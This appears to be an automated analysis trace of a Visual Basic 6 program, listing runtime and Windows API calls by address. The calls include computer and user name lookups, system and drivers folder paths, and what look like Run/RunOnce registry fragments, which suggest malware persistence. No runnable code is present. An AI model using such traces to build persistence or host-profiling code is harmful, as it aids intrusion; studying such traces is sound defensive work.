__vbaStrCat.MSVBVM60(?,?), ref: 0040B01E
__vbaStrMove.MSVBVM60 ref: 0040B029
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040B035
__vbaStrMove.MSVBVM60 ref: 0040B040
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B04E
__vbaStrMove.MSVBVM60 ref: 0040B059
#517.MSVBVM60(00000000), ref: 0040B060
__vbaStrMove.MSVBVM60 ref: 0040B06B
__vbaStrCopy.MSVBVM60 ref: 0040B078
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B094
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0A0

Part of subcall function 00429CA0: __vbaSetSystemError.MSVBVM60(00000064,004031C0,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429CF6
Part of subcall function 00429CA0: #525.MSVBVM60(00000200,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D05
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D16
Part of subcall function 00429CA0: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D20
Part of subcall function 00429CA0: SHGetPathFromIDList.SHELL32(?,00000000), ref: 00429D30
Part of subcall function 00429CA0: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D3A
Part of subcall function 00429CA0: __vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D43
Part of subcall function 00429CA0: #537.MSVBVM60(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D50
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5B
Part of subcall function 00429CA0: __vbaInStr.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5F
Part of subcall function 00429CA0: #616.MSVBVM60(?,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D73
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D7E
Part of subcall function 00429CA0: __vbaStrCat.MSVBVM60(00406544,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D86
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D91
Part of subcall function 00429CA0: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D9D
Part of subcall function 00429CA0: __vbaFreeStr.MSVBVM60(00429DEF,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DE8

__vbaStrMove.MSVBVM60(00000024,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0B9
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0C6
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0CF
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0F8
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B105
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B115
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B131
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B13C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B14A
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B155
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040B161
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B16C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B179
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B184
#517.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B18B
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B196
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B1A3
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B1BF
__vbaStrMove.MSVBVM60(?), ref: 0040B1EB
__vbaStrCopy.MSVBVM60 ref: 0040B1F8
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040B208
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B223
__vbaStrMove.MSVBVM60 ref: 0040B22E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B23C
__vbaStrMove.MSVBVM60 ref: 0040B247
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040B253
__vbaStrMove.MSVBVM60 ref: 0040B25E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B26C
__vbaStrMove.MSVBVM60 ref: 0040B277
#517.MSVBVM60(00000000), ref: 0040B27E
__vbaStrMove.MSVBVM60 ref: 0040B289
__vbaStrCopy.MSVBVM60 ref: 0040B296
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B2B2
__vbaStrCopy.MSVBVM60 ref: 0040B2CA
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B2DC
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040B2FC
__vbaStrCat.MSVBVM60(00000000), ref: 0040B303
__vbaStrMove.MSVBVM60 ref: 0040B30E
__vbaStrCopy.MSVBVM60 ref: 0040B31B
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040B333
__vbaStrCopy.MSVBVM60 ref: 0040B34B
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B35D
__vbaStrMove.MSVBVM60 ref: 0040B368
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040B37D
__vbaStrCat.MSVBVM60(00000000), ref: 0040B384
__vbaStrMove.MSVBVM60 ref: 0040B38F
#517.MSVBVM60(00000000), ref: 0040B396
__vbaStrMove.MSVBVM60 ref: 0040B3A1
__vbaStrCopy.MSVBVM60 ref: 0040B3AE
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B3CA
__vbaStrCopy.MSVBVM60 ref: 0040B3E2
__vbaStrMove.MSVBVM60(?), ref: 0040B3F6
__vbaStrCopy.MSVBVM60 ref: 0040B403
__vbaOnError.MSVBVM60(000000FF,00000000), ref: 0040B43C
#669.MSVBVM60 ref: 0040B449
__vbaStrMove.MSVBVM60 ref: 0040B454
__vbaStrCopy.MSVBVM60 ref: 0040B461
__vbaFreeStr.MSVBVM60 ref: 0040B46A
__vbaStrCopy.MSVBVM60 ref: 0040B483
__vbaStrCmp.MSVBVM60(00406F10,?), ref: 0040B49C
__vbaStrCat.MSVBVM60( RU,00000000), ref: 0040B4BD
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B4E9
__vbaStrCat.MSVBVM60( RU,00000000), ref: 0040B502
__vbaStrMove.MSVBVM60 ref: 0040B50D
__vbaEnd.MSVBVM60(0042C0D4), ref: 0040B54C
__vbaStrMove.MSVBVM60(?), ref: 0040BA5E
__vbaStrCopy.MSVBVM60 ref: 0040BA6B
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BA7B
__vbaStrCopy.MSVBVM60 ref: 0040BA93
__vbaStrMove.MSVBVM60(?), ref: 0040BAA7
__vbaStrCopy.MSVBVM60 ref: 0040BAB4
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BAC4
__vbaStrCopy.MSVBVM60 ref: 0040BADC

Part of subcall function 00429CA0: __vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DB5

__vbaStrMove.MSVBVM60(0000001C), ref: 0040BAEE
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BB03
__vbaStrCat.MSVBVM60(00000000), ref: 0040BB0A
__vbaStrMove.MSVBVM60 ref: 0040BB15
__vbaStrCopy.MSVBVM60 ref: 0040BB22
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BB3A
__vbaStrMove.MSVBVM60(00000026), ref: 0040BB56
__vbaStrCopy.MSVBVM60 ref: 0040BB63
__vbaFreeStr.MSVBVM60 ref: 0040BB6C
__vbaStrCopy.MSVBVM60 ref: 0040BB81
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040BB93
__vbaStrMove.MSVBVM60 ref: 0040BB9E
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BBB3
__vbaStrCat.MSVBVM60(00000000), ref: 0040BBBA
__vbaStrMove.MSVBVM60 ref: 0040BBC5
#517.MSVBVM60(00000000), ref: 0040BBCC
__vbaStrMove.MSVBVM60 ref: 0040BBD7
__vbaStrCopy.MSVBVM60 ref: 0040BBE4
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040BC00
__vbaStrCopy.MSVBVM60 ref: 0040BC18
__vbaStrMove.MSVBVM60(0000001A), ref: 0040BC2A
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BC3F
__vbaStrCat.MSVBVM60(00000000), ref: 0040BC46
__vbaStrMove.MSVBVM60 ref: 0040BC51
__vbaStrCopy.MSVBVM60 ref: 0040BC5E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BC76

Part of subcall function 0041E880: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,0040BC8B), ref: 0041E89E
Part of subcall function 0041E880: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8CE
Part of subcall function 0041E880: #525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8E0
Part of subcall function 0041E880: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E8EB
Part of subcall function 0041E880: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041E8FC
Part of subcall function 0041E880: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041E911
Part of subcall function 0041E880: GetComputerNameA.KERNEL32(00000000), ref: 0041E91D
Part of subcall function 0041E880: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041E92B
Part of subcall function 0041E880: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E934
Part of subcall function 0041E880: #537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041E949
Part of subcall function 0041E880: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E954
Part of subcall function 0041E880: __vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041E95D
Part of subcall function 0041E880: #616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041E96D
Part of subcall function 0041E880: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E978
Part of subcall function 0041E880: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E981
Part of subcall function 0041E880: __vbaFreeStr.MSVBVM60(0041E9B5,?,?,?,00000000,Function_000032B6), ref: 0041E9AE

__vbaStrMove.MSVBVM60 ref: 0040BC90
__vbaStrCopy.MSVBVM60 ref: 0040BC9D
__vbaFreeStr.MSVBVM60 ref: 0040BCA6

Part of subcall function 0041E9D0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041E9EE
Part of subcall function 0041E9D0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA1E
Part of subcall function 0041E9D0: #525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA30
Part of subcall function 0041E9D0: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA3B
Part of subcall function 0041E9D0: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041EA4C
Part of subcall function 0041E9D0: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA61
Part of subcall function 0041E9D0: GetUserNameA.ADVAPI32(00000000), ref: 0041EA6D
Part of subcall function 0041E9D0: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA7B
Part of subcall function 0041E9D0: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA84
Part of subcall function 0041E9D0: #537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041EA99
Part of subcall function 0041E9D0: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAA4
Part of subcall function 0041E9D0: __vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041EAAD
Part of subcall function 0041E9D0: #616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041EABD
Part of subcall function 0041E9D0: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAC8
Part of subcall function 0041E9D0: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAD1
Part of subcall function 0041E9D0: __vbaFreeStr.MSVBVM60(0041EB05,?,?,?,00000000,Function_000032B6), ref: 0041EAFE

__vbaStrMove.MSVBVM60 ref: 0040BCBD
__vbaStrCopy.MSVBVM60 ref: 0040BCCA
__vbaFreeStr.MSVBVM60 ref: 0040BCD3
__vbaStrCmp.MSVBVM60(00000000,00000000), ref: 0040BCEE
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040BD61
__vbaStrCat.MSVBVM60( SE,00000000,00000000), ref: 0040BD7A
#600.MSVBVM60(00000008,00000000), ref: 0040BD90
__vbaFreeVar.MSVBVM60 ref: 0040BD9F
__vbaSetSystemError.MSVBVM60 ref: 0040BDC1
__vbaStrCopy.MSVBVM60 ref: 0040BDD6
__vbaStrMove.MSVBVM60(?), ref: 0040BDEA
__vbaStrCopy.MSVBVM60 ref: 0040BDF7
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BE07
__vbaStrCopy.MSVBVM60 ref: 0040BE1F
__vbaStrMove.MSVBVM60(?), ref: 0040BE33
__vbaStrCopy.MSVBVM60 ref: 0040BE40
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BE50
__vbaStrCopy.MSVBVM60 ref: 0040BE68
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040BE7A
__vbaStrMove.MSVBVM60 ref: 0040BE85
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BE9A
__vbaStrCat.MSVBVM60(00000000), ref: 0040BEA1
__vbaStrMove.MSVBVM60 ref: 0040BEAC
__vbaStrCopy.MSVBVM60 ref: 0040BEB9
__vbaStrCopy.MSVBVM60 ref: 0040BEE9
__vbaStrCat.MSVBVM60(system32\drivers\,00000000), ref: 0040BEFB
__vbaStrMove.MSVBVM60 ref: 0040BF06
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BF1B
__vbaStrCat.MSVBVM60(00000000), ref: 0040BF22
__vbaStrMove.MSVBVM60 ref: 0040BF2D
__vbaStrCopy.MSVBVM60 ref: 0040BF3A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BF52

Part of subcall function 00415EC0: __vbaSetSystemError.MSVBVM60(6D04D8B1,6D03A323,00000000), ref: 00415F0F
Part of subcall function 00415EC0: __vbaNew2.MSVBVM60(00406520,0042CC34,6D04D8B1,6D03A323,00000000), ref: 00415F27
Part of subcall function 00415EC0: __vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014), ref: 00415F4C
Part of subcall function 00415EC0: __vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100), ref: 00415F76
Part of subcall function 00415EC0: __vbaSetSystemError.MSVBVM60(0000000D,00416130,?,00000000), ref: 00415F8F
Part of subcall function 00415EC0: __vbaFreeObj.MSVBVM60 ref: 00415F9E

Part of subcall function 00416000: __vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416050
Part of subcall function 00416000: __vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416075
Part of subcall function 00416000: __vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041609F
Part of subcall function 00416000: __vbaSetSystemError.MSVBVM60(0000000E,00417A20,?,00000000,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160B8
Part of subcall function 00416000: __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160C7

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040BF8E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407978,0000005C), ref: 0040BFD4
__vbaFreeObj.MSVBVM60 ref: 0040BFEF
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040C008
__vbaStrMove.MSVBVM60 ref: 0040C013
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C021
__vbaStrMove.MSVBVM60 ref: 0040C02C
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040C038
__vbaStrMove.MSVBVM60 ref: 0040C043
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C050
__vbaStrMove.MSVBVM60 ref: 0040C05B
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,00000000), ref: 0040C088
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040C0B2
__vbaStrMove.MSVBVM60 ref: 0040C0BD
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C0CB
__vbaStrMove.MSVBVM60 ref: 0040C0D6
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040C0E2
__vbaStrMove.MSVBVM60 ref: 0040C0ED
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C0FB
#600.MSVBVM60(?,00000002), ref: 0040C111
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0040C12B
__vbaFreeVar.MSVBVM60 ref: 0040C137
__vbaStrMove.MSVBVM60(?), ref: 0040C2F3
__vbaStrCopy.MSVBVM60 ref: 0040C300
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C310
__vbaStrMove.MSVBVM60(0000001C), ref: 0040C32C
__vbaStrCopy.MSVBVM60 ref: 0040C339
__vbaFreeStr.MSVBVM60 ref: 0040C342
__vbaStrCopy.MSVBVM60 ref: 0040C357
__vbaStrMove.MSVBVM60(?), ref: 0040C36B
__vbaStrCopy.MSVBVM60 ref: 0040C378
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C388
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C3A5
__vbaStrMove.MSVBVM60 ref: 0040C3B0
__vbaStrCopy.MSVBVM60 ref: 0040C3BD
__vbaFreeStr.MSVBVM60 ref: 0040C3C6
__vbaStrCopy.MSVBVM60 ref: 0040C3DB
__vbaStrMove.MSVBVM60(?), ref: 0040C3EF
__vbaStrCopy.MSVBVM60 ref: 0040C3FC
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C40C
__vbaLenBstr.MSVBVM60(00000000), ref: 0040C423
#616.MSVBVM60(00000000,-00000001), ref: 0040C439
__vbaStrMove.MSVBVM60 ref: 0040C444
__vbaStrCopy.MSVBVM60 ref: 0040C451
__vbaFreeStr.MSVBVM60 ref: 0040C45A
#709.MSVBVM60(00000000,00406544,000000FF,00000000), ref: 0040C477
#631.MSVBVM60(00000000,?,0000000A), ref: 0040C4AC
__vbaStrMove.MSVBVM60 ref: 0040C4B7
__vbaStrCopy.MSVBVM60 ref: 0040C4C4
__vbaFreeStr.MSVBVM60 ref: 0040C4CD
__vbaFreeVar.MSVBVM60 ref: 0040C4D6
#611.MSVBVM60 ref: 0040C4E3
#661.MSVBVM60(?,00407C78,00000000,40000000,00000008), ref: 0040C507
#705.MSVBVM60(?,00000004), ref: 0040C513
__vbaStrMove.MSVBVM60 ref: 0040C51E
__vbaStrMove.MSVBVM60(at ), ref: 0040C542
__vbaStrCat.MSVBVM60(00000000), ref: 0040C549
__vbaStrMove.MSVBVM60 ref: 0040C554
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C561
__vbaStrMove.MSVBVM60 ref: 0040C56C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C57A
#600.MSVBVM60(00000008,00000000), ref: 0040C590
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,00000000), ref: 0040C5AE
__vbaFreeVarList.MSVBVM60(00000003,00000008,?,00000008), ref: 0040C5C5
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C5E9
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00407978,0000005C), ref: 0040C62F
__vbaFreeObj.MSVBVM60 ref: 0040C64A
__vbaStrCopy.MSVBVM60 ref: 0040C664
__vbaStrMove.MSVBVM60(?), ref: 0040C678
__vbaStrCopy.MSVBVM60 ref: 0040C686
__vbaStrMove.MSVBVM60(?), ref: 0040C69A
__vbaStrMove.MSVBVM60(00407CC4), ref: 0040C6CE
__vbaStrMove.MSVBVM60(00000000), ref: 0040C6DE
#690.MSVBVM60(00000000,00000000), ref: 0040C6EC
__vbaFreeStrList.MSVBVM60(00000006,?,?,?,?,00000000,00000000), ref: 0040C70C
#537.MSVBVM60(000000A0,00000000), ref: 0040C727
__vbaStrMove.MSVBVM60 ref: 0040C732
__vbaStrCat.MSVBVM60(00000000), ref: 0040C739
__vbaStrMove.MSVBVM60 ref: 0040C744
__vbaStrCat.MSVBVM60(00406BFC,00000000,00000000), ref: 0040C757
__vbaStrMove.MSVBVM60 ref: 0040C762
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C770
__vbaStrMove.MSVBVM60 ref: 0040C77B

Part of subcall function 004218D0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,0040C78D,00000000,00000000), ref: 004218EE
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042191B
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421927
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421933
Part of subcall function 004218D0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00421942
Part of subcall function 004218D0: #648.MSVBVM60(0000000A), ref: 00421961
Part of subcall function 004218D0: __vbaFreeVar.MSVBVM60 ref: 00421970
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60(?), ref: 00421984
Part of subcall function 004218D0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00421992
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60 ref: 004219A2
Part of subcall function 004218D0: #570.MSVBVM60(00000000), ref: 004219A9
Part of subcall function 004218D0: __vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219B6
Part of subcall function 004218D0: __vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219ED
Part of subcall function 004218D0: #525.MSVBVM60(00000000), ref: 004219F4
Part of subcall function 004218D0: __vbaStrMove.MSVBVM60 ref: 004219FF
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60 ref: 00421A0F
Part of subcall function 004218D0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00421A1A
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60 ref: 00421A2A
Part of subcall function 004218D0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00421A37
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60 ref: 00421A4C
Part of subcall function 004218D0: __vbaStrMove.MSVBVM60(?), ref: 00421A60

__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,00000000,00000000), ref: 0040C7A6
__vbaEnd.MSVBVM60 ref: 0040C7C1
#535.MSVBVM60(00000000), ref: 0040C7F1
__vbaStrCat.MSVBVM60(00000000,00407CCC), ref: 0040C81D
__vbaStrMove.MSVBVM60 ref: 0040C828
__vbaStrCat.MSVBVM60(00407CCC,00000000), ref: 0040C834
__vbaStrMove.MSVBVM60 ref: 0040C83F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C84D
__vbaStrMove.MSVBVM60 ref: 0040C858
__vbaStrCat.MSVBVM60(00407CCC,00000000), ref: 0040C864
__vbaStrMove.MSVBVM60 ref: 0040C86F
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,00000000), ref: 0040C88D
#598.MSVBVM60(0042C0D4), ref: 0040C8AE
#580.MSVBVM60(00000000,00000027), ref: 0040C908
__vbaStrCopy.MSVBVM60(00000000), ref: 0040C91D
__vbaStrMove.MSVBVM60(?), ref: 0040C931
__vbaStrCopy.MSVBVM60 ref: 0040C93F
__vbaStrMove.MSVBVM60(?), ref: 0040C953
__vbaStrMove.MSVBVM60(00407CC4), ref: 0040C987
__vbaStrMove.MSVBVM60(00000000), ref: 0040C997
#690.MSVBVM60(00000000,00000000), ref: 0040C9A4
__vbaFreeStrList.MSVBVM60(00000006,?,?,?,?,00000000,00000000), ref: 0040C9C4
#600.MSVBVM60(00004008,00000000), ref: 0040C9F1
__vbaEnd.MSVBVM60 ref: 0040CA04

Part of subcall function 00429E10: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CBB8,80000002,00000000,00000000), ref: 00429E2E
Part of subcall function 00429E10: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E5B
Part of subcall function 00429E10: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E67
Part of subcall function 00429E10: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00429E76
Part of subcall function 00429E10: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429E8F
Part of subcall function 00429E10: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 00429E9F
Part of subcall function 00429E10: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EAD
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EB6
Part of subcall function 00429E10: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429ECB
Part of subcall function 00429E10: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429EDB
Part of subcall function 00429E10: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EE9
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EF2
Part of subcall function 00429E10: __vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429F08
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(00429F32,?,?,?,00000000,004032B6), ref: 00429F22
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429F2B

#580.MSVBVM60(00000000,00000027), ref: 0040CA1A
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA32
__vbaStrMove.MSVBVM60 ref: 0040CA3D
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CA57
__vbaStrMove.MSVBVM60 ref: 0040CA62
__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CA7D
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA99
__vbaStrMove.MSVBVM60 ref: 0040CAA4
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CABD
__vbaStrMove.MSVBVM60 ref: 0040CAC8
__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CAE3
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BED1

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D136537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
